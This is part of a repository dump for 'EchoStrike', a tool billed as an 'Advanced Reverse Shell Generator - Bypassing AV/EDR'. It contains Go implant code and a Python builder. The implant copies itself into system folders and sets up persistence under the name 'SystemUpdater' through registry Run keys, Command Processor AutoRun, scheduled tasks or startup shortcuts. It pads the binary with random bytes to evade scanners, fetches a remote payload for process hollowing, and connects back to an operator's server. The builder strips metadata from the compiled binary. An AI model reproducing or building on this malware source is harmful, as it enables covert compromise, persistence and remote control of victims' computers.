os.Stat(startupPath); err == nil { 176 | return nil 177 | } 178 | 179 | return RunCommandInBackground("powershell", "-Command", fmt.Sprintf(`$wshell = New-Object -ComObject WScript.Shell; $shortcut = $wshell.CreateShortcut('%s'); $shortcut.TargetPath = '%s'; $shortcut.Save()`, startupPath, executablePath)) 180 | } 181 | -------------------------------------------------------------------------------- /modules/variableoptimizer/optimizer.go: -------------------------------------------------------------------------------- 1 | package optimizer 2 | 3 | import ( 4 | "fmt" 5 | "math/rand" 6 | "os" 7 | ) 8 | 9 | // AddPaddingToFile increases the size of the executable file by adding extra bytes until the specified target size is reached. 10 | // This can be useful for ensuring that the file meets certain size requirements. 11 | func AddPaddingToFile(filePath string, targetSize int64) error { 12 | // Open the file in append mode to add data to the end 13 | file, err := os.OpenFile(filePath, os.O_WRONLY|os.O_APPEND, 0644) 14 | if err != nil { 15 | return fmt.Errorf("failed to open file: %v", err) 16 | } 17 | defer file.Close() 18 | 19 | // Get the current size of the file 20 | fileInfo, err := file.Stat() 21 | if err != nil { 22 | return fmt.Errorf("failed to get file info: %v", err) 23 | } 24 | currentSize := fileInfo.Size() 25 | 26 | // Calculate the amount of padding needed to reach the target size 27 | paddingSize := targetSize - currentSize 28 | if paddingSize <= 0 { 29 | // fmt.Printf("No padding needed, file is already larger than or equal to target size.\n") 30 | return nil 31 | } 32 | 33 | // Add non-operative instructions or random data as padding 34 | padding := generateRandomPadding(paddingSize) 35 | 36 | // Write the additional bytes to the end of the file 37 | _, err = file.Write(padding) 38 | if err != nil { 39 | return fmt.Errorf("failed to write padding to file: %v", err) 40 | } 41 | 42 | // fmt.Printf("Added %d bytes of padding to %s to reach target size %d bytes.\n", paddingSize, filePath, targetSize) 43 | return nil 44 | } 45 | 46 | // generateRandomPadding generates a block of bytes with random data or non-operative instructions. 47 | // This padding ensures that the file size is increased without affecting its functionality. 48 | func generateRandomPadding(size int64) []byte { 49 | padding := make([]byte, size) 50 | 51 | for i := range padding { 52 | padding[i] = byte(rand.Intn(256)) // Fill with random values 53 | } 54 | 55 | return padding 56 | } 57 | -------------------------------------------------------------------------------- /src/application.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "math/rand" 6 | "os" 7 | "strconv" 8 | "time" 9 | 10 | "EchoStrike/modules/config" 11 | "EchoStrike/modules/diagnostics" 12 | "EchoStrike/modules/integration" 13 | "EchoStrike/modules/network" 14 | "EchoStrike/modules/security" 15 | sysutils "EchoStrike/modules/utils" 16 | optimizer "EchoStrike/modules/variableoptimizer" 17 | ) 18 | 19 | func main() { 20 | appConfig, err := config.LoadConfig() 21 | if err != nil { 22 | sysutils.LogErrorToFile(fmt.Sprintf("Could not load configuration: %s", err)) 23 | return 24 | } 25 | 26 | time.Sleep(time.Duration(5+rand.Intn(5)) * time.Second) 27 | diagnostics.PerformDiagnostics() 28 | 29 | executablePath, err := os.Executable() 30 | if err != nil { 31 | sysutils.LogErrorToFile(fmt.Sprintf("Could not get executable path: %s", err)) 32 | return 33 | } 34 | 35 | if appConfig.PersistenceOption != "0" { 36 | destPath, err := sysutils.MoveToSysDir(executablePath, appConfig.PersistenceOption) 37 | if err != nil { 38 | sysutils.LogErrorToFile(fmt.Sprintf("Could not move the file: %s", err)) 39 | return 40 | } 41 | 42 | if appConfig.TargetSize > 0 { 43 | err = optimizer.AddPaddingToFile(destPath, appConfig.TargetSize) 44 | if err != nil { 45 | sysutils.LogErrorToFile(fmt.Sprintf("Could not apply padding to binary: %s", err)) 46 | } 47 | } 48 | 49 | err = setupPersistence(destPath, appConfig.PersistenceOption) 50 | if err != nil { 51 | sysutils.LogErrorToFile(fmt.Sprintf("Could not establish auto-start: %s", err)) 52 | } 53 | } 54 | 55 | if appConfig.URL != "" { 56 | handleUpdate(appConfig.URL, appConfig.Method) 57 | } 58 | 59 | if appConfig.ServerAddress != "" && appConfig.ServerPort != "" { 60 | connectToServer(appConfig.ServerAddress, appConfig.ServerPort, appConfig.ApiKey) 61 | } 62 | 63 | // Eliminar todas las salidas a consola como fmt.Println(...) 64 | } 65 | 66 | func setupPersistence(destPath, persistenceOption string) error { 67 | switch persistenceOption { 68 | case "1": 69 | return sysutils.SetupAutoStartRegistry("SystemUpdater", destPath, persistenceOption) 70 | case "2": 71 | return sysutils.ConfigureCmdAutoRun("SystemUpdater", destPath, persistenceOption) 72 | case "3": 73 | return sysutils.SetupScheduledTask("SystemUpdaterTask", destPath, persistenceOption) 74 | case "4": 75 | return sysutils.CreateStartupShortcut(destPath, persistenceOption) 76 | default: 77 | return sysutils.SetupAutoStartRegistry("SystemUpdater", destPath, persistenceOption) 78 | } 79 | } 80 | 81 | func handleUpdate(url, method string) { 82 | packageData, key, err := integration.FetchUpdatePackage(url) 83 | if err != nil { 84 | sysutils.LogErrorToFile(fmt.Sprintf("Could not fetch update package: %s", err)) 85 | return 86 | } 87 | 88 | time.Sleep(time.Duration(2+rand.Intn(4)) * time.Second) 89 | 90 | if method == "1" { 91 | err = integration.ApplySystemUpdate(packageData, key) 92 | if err != nil { 93 | sysutils.LogErrorToFile(fmt.Sprintf("Could not apply system update: %s", err)) 94 | } 95 | } 96 | } 97 | 98 | func connectToServer(serverAddress, serverPort, apiKey string) { 99 | securedAddress, err := security.ProcessDataGCM(serverAddress, apiKey, "encrypt") 100 | if err != nil { 101 | sysutils.LogErrorToFile(fmt.Sprintf("Could not secure server address: %s", err)) 102 | return 103 | } 104 | 105 | securedPort, err := security.ProcessDataGCM(serverPort, apiKey, "encrypt") 106 | if err != nil { 107 | sysutils.LogErrorToFile(fmt.Sprintf("Could not secure server port: %s", err)) 108 | return 109 | } 110 | 111 | decryptedAddress, err := security.ProcessDataGCM(securedAddress, apiKey, "decrypt") 112 | if err != nil { 113 | sysutils.LogErrorToFile(fmt.Sprintf("Could not decrypt server address: %s", err)) 114 | return 115 | } 116 | 117 | decryptedPort, err := security.ProcessDataGCM(securedPort, apiKey, "decrypt") 118 | if err != nil { 119 | sysutils.LogErrorToFile(fmt.Sprintf("Could not decrypt server port: %s", err)) 120 | return 121 | } 122 | 123 | port, err := strconv.Atoi(decryptedPort) 124 | if err != nil { 125 | sysutils.LogErrorToFile(fmt.Sprintf("Invalid port number: %s", err)) 126 | return 127 | } 128 | 129 | time.Sleep(time.Duration(2+rand.Intn(4)) * time.Second) 130 | err = network.InitializeConnection(decryptedAddress, port) 131 | if err != nil { 132 | sysutils.LogErrorToFile(fmt.Sprintf("Could not establish connection: %s", err)) 133 | } 134 | } 135 | -------------------------------------------------------------------------------- /tools/build.py: -------------------------------------------------------------------------------- 1 | import json 2 | import os 3 | import platform 4 | import subprocess 5 | import pyfiglet 6 | from termcolor import colored 7 | import signal 8 | import sys 9 | import re 10 | 11 | # Constants for directory paths and config file 12 | CONFIG_PATH = "../modules/config/settings.json" 13 | SRC_DIR = "../src" 14 | 15 | # Constants for persistence options and injection techniques 16 | PERSISTENCE_OPTIONS = { 17 | "0": "No Persistence", 18 | "1": "Registry (CurrentUser Run)", 19 | "2": "Registry (Command Processor)", 20 | "3": "Task Scheduler (Admin Required)", 21 | "4": "Startup Folder", 22 | } 23 | 24 | TECHNIQUES = { 25 | "0": "No Shellcode Injection", 26 | "1": "Process Hollowing", 27 | "2": "More techniques coming soon...", 28 | } 29 | 30 | MIN_TARGET_SIZE_MB = 8 31 | 32 | 33 | def create_banner(): 34 | """Create and return an ASCII art banner for EchoStrike.""" 35 | banner = pyfiglet.figlet_format("EchoStrike", font="slant") 36 | return banner 37 | 38 | 39 | def add_border(text): 40 | """Add a consistent border around the banner text.""" 41 | lines = text.splitlines() 42 | 43 | max_width = max(len(re.sub(r"\x1B\[[0-?]*[ -/]*[@-~]", "", line)) for line in lines) 44 | 45 | horizontal_border = "+" + "-" * (max_width + 2) + "+" 46 | 47 | bordered_lines = [f"| {line.ljust(max_width)} |" for line in lines] 48 | 49 | return ( 50 | f"{horizontal_border}\n" + "\n".join(bordered_lines) + f"\n{horizontal_border}" 51 | ) 52 | 53 | 54 | def print_colored_banner(): 55 | """Print the EchoStrike banner with color, but without affecting the borders.""" 56 | banner = create_banner() 57 | 58 | bordered_banner = add_border(banner) 59 | 60 | bordered_lines = bordered_banner.splitlines() 61 | 62 | for line in bordered_lines: 63 | if "EchoStrike" in line: 64 | print(colored(line, "red", attrs=["bold"])) 65 | else: 66 | print(line) 67 | 68 | 69 | def print_colored_details(): 70 | """Print the additional details with colors outside the bordered area.""" 71 | details = { 72 | "description": "Advanced Reverse Shell Generator - Bypassing AV/EDR", 73 | "author": "Author: Stiven Mayorga / aka. Stiven.Hacker", 74 | "version": "Version: 1.0.0", 75 | } 76 | 77 | print(colored(details["description"], "yellow", attrs=["bold"])) 78 | print(colored(details["author"], "blue", attrs=["bold"])) 79 | print(colored(details["version"], "red", attrs=["bold"])) 80 | 81 | 82 | def print_intro(): 83 | """Print the introductory banner with borders and colored text.""" 84 | print_colored_banner() 85 | print_colored_details() 86 | 87 | 88 | def validate_input(user_input, valid_options): 89 | """Validate user input against a set of valid options.""" 90 | return user_input if user_input in valid_options else None 91 | 92 | 93 | def update_config( 94 | address, port, encryption_key, persistence_option, target_size, method, url=None 95 | ): 96 | """Update the configuration file with the provided settings.""" 97 | config = { 98 | "server_address": address, 99 | "server_port": port, 100 | "api_key": encryption_key, 101 | "persistence_option": persistence_option, 102 | "target_size": target_size, 103 | "method": method, # Method is now stored as a number 104 | "url": url, # URL can be None if no shellcode injection is selected 105 | } 106 | 107 | try: 108 | with open(CONFIG_PATH, "w") as config_file: 109 | json.dump(config, config_file, indent=4) 110 | print( 111 | colored( 112 | "\n[✓] Configuration updated successfully.", "green", attrs=["bold"] 113 | ) 114 | ) 115 | except Exception as e: 116 | print( 117 | colored(f"\n[✗] Failed to update configuration: {e}", "red", attrs=["bold"]) 118 | ) 119 | 120 | 121 | def build_binary(output_name): 122 | """Build the Go binary based on the current OS, minimizing metadata.""" 123 | try: 124 | if not os.path.isdir(SRC_DIR): 125 | raise FileNotFoundError(f"Source directory not found: {SRC_DIR}") 126 | 127 | os.chdir(SRC_DIR) 128 | 129 | # Detect the current operating system 130 | current_os = platform.system().lower() 131 | 132 | if current_os == "windows": 133 | # Command for compiling on Windows 134 | compile_command = ["go", "build", "-ldflags=-s -w -buildid=", "-trimpath", "-o", output_name] 135 | else: 136 | # Command for cross-compiling to Windows on Linux 137 | compile_command = ["env", "GOOS=windows", "GOARCH=amd64", "go", "build", "-ldflags=-s -w -buildid=", "-trimpath", "-o", output_name] 138 | 139 | # Run the appropriate build command 140 | subprocess.run(compile_command, check=True) 141 | 142 | print( 143 | colored( 144 | f"\n[✓] Binary generated successfully: {output_name}", 145 | "cyan", 146 | attrs=["bold"], 147 | ) 148 | ) 149 | except (subprocess.CalledProcessError, FileNotFoundError) as e: 150 | print(colored(f"\n[✗] Error during compilation: {e}", "red", attrs=["bold"])) 151 | finally: 152 | # Ensure the script always returns to the initial directory 153 | os.chdir(os.path.dirname(os.path.abspath(__file__))) 154 | 155 | 156 | def signal_handler(sig, frame): 157 | """Handle Ctrl + C (SIGINT) to exit gracefully.""" 158 | print( 159 | colored("\n[!] Process interrupted. Exiting EchoStrike.", "red", attrs=["bold"]) 160 | ) 161 | sys.exit(0) 162 | 163 | 164 | def main(): 165 | # Register the signal handler for Ctrl + C 166 | signal.signal(signal.SIGINT, signal_handler) 167 | 168 | print_intro() 169 | 170 | try: 171 | # Gather user input 172 | address = input( 173 | colored("\n[>] Enter the new IP address: ", "blue", attrs=["bold"]) 174 | ) 175 | port = input(colored("\n[>] Enter the new port: ", "yellow", attrs=["bold"])) 176 | print( 177 | colored( 178 | "\n[!] If you're unsure how to generate a 128-bit AES key, you can use this tool: https://github.com/stivenhacker/AESCrafter", 179 | "red", 180 | attrs=["bold"], 181 | ) 182 | ) 183 | encryption_key = input( 184 | colored( 185 | "\n[>] Enter a 128-bit AES key (32 hexadecimal characters): ", 186 | "blue", 187 | attrs=["bold"], 188 | ) 189 | ) 190 | output_name = input( 191 | colored( 192 | "\n[>] Enter the name of the output binary (e.g., EchoStrike.exe): ", 193 | "red", 194 | attrs=["bold"], 195 | ), 196 | ) 197 | 198 | # Ask the user for the persistence option 199 | print(colored("\n[•] Select Persistence Option", "green", attrs=["bold"])) 200 | for key, option in PERSISTENCE_OPTIONS.items(): 201 | print(colored(f"[{key}] {option}", "cyan", attrs=["bold"])) 202 | 203 | persistence_option = validate_input( 204 | input(colored("\n[>] Enter your choice (0-4): ", "yellow", attrs=["bold"])), 205 | PERSISTENCE_OPTIONS, 206 | ) 207 | 208 | if not persistence_option: 209 | print( 210 | colored( 211 | "\n[!] Invalid choice, defaulting to '0: No Persistence'.", 212 | "red", 213 | attrs=["bold"], 214 | ), 215 | ) 216 | persistence_option = "0" 217 | 218 | # Only ask for target size if persistence is not "No Persistence" 219 | target_size = None 220 | if persistence_option != "0": 221 | target_size = input( 222 | colored( 223 | "\n[>] Enter the target size for the binary in MB (e.g., 7 for 7MB): ", 224 | "blue", 225 | attrs=["bold"], 226 | ), 227 | ) 228 | print( 229 | colored( 230 | "\n[ℹ] Note: This size adjustment applies only after the binary is copied to the persistence location.", 231 | "yellow", 232 | attrs=["bold"], 233 | ), 234 | ) 235 | try: 236 | target_size = int(target_size) 237 | if target_size < MIN_TARGET_SIZE_MB: 238 | print( 239 | colored( 240 | f"\n[!] Size too small, defaulting to {MIN_TARGET_SIZE_MB}MB.", 241 | "yellow", 242 | attrs=["bold"], 243 | ), 244 | ) 245 | target_size = MIN_TARGET_SIZE_MB 246 | target_size *= 1024 * 1024 # Convert to bytes 247 | except ValueError: 248 | print( 249 | colored( 250 | f"\n[!] Invalid size, defaulting to {MIN_TARGET_SIZE_MB}MB.", 251 | "yellow", 252 | attrs=["bold"], 253 | ), 254 | ) 255 | target_size = MIN_TARGET_SIZE_MB * 1024 * 1024 # Convert to bytes 256 | 257 | # Menu for selecting the process injection technique 258 | print( 259 | colored("\n[•] Select Process Injection Technique", "green", attrs=["bold"]) 260 | ) 261 | for key, technique in TECHNIQUES.items(): 262 | print(colored(f"[{key}] {technique}", "cyan", attrs=["bold"])) 263 | 264 | technique_choice = validate_input( 265 | input(colored("\n[>] Enter your choice (0-2): ", "yellow", attrs=["bold"])), 266 | TECHNIQUES, 267 | ) 268 | 269 | if not technique_choice: 270 | print( 271 | colored( 272 | "\n[!] Invalid choice, defaulting to '0: No Shellcode Injection'.", 273 | "red", 274 | attrs=["bold"], 275 | ), 276 | ) 277 | technique_choice = "0" 278 | 279 | selected_technique = technique_choice 280 | print( 281 | colored( 282 | f"\n[✓] You selected: {TECHNIQUES[selected_technique]}", 283 | "magenta", 284 | attrs=["bold"], 285 | ), 286 | ) 287 | 288 | # Warning message for techniques not implemented 289 | if selected_technique != "1" and selected_technique != "0": 290 | print( 291 | colored( 292 | f"\n[!] Warning: {TECHNIQUES[selected_technique]} is not yet implemented. Defaulting to 'Process Hollowing'.", 293 | "yellow", 294 | attrs=["bold"], 295 | ), 296 | ) 297 | selected_technique = "1" 298 | 299 | # Check if the selected technique requires a URL for shellcode 300 | url = None 301 | if selected_technique != "0": 302 | url = input( 303 | colored( 304 | "\n[>] Enter the URL for the payload to download: ", 305 | "green", 306 | attrs=["bold"], 307 | ), 308 | ) 309 | 310 | # Update the config file 311 | update_config( 312 | address, 313 | port, 314 | encryption_key, 315 | persistence_option, 316 | target_size, 317 | selected_technique, # Pass the technique as a number 318 | url, # Pass the URL if a technique requiring it is selected 319 | ) 320 | 321 | # Generate the binary with the specified name 322 | build_binary(output_name) 323 | 324 | print( 325 | colored( 326 | "\n[✓] Process completed. Thank you for using EchoStrike!", 327 | "magenta", 328 | attrs=["bold"], 329 | ), 330 | ) 331 | except KeyboardInterrupt: 332 | signal_handler(None, None) 333 | 334 | 335 | if __name__ == "__main__": 336 | main() --------------------------------------------------------------------------------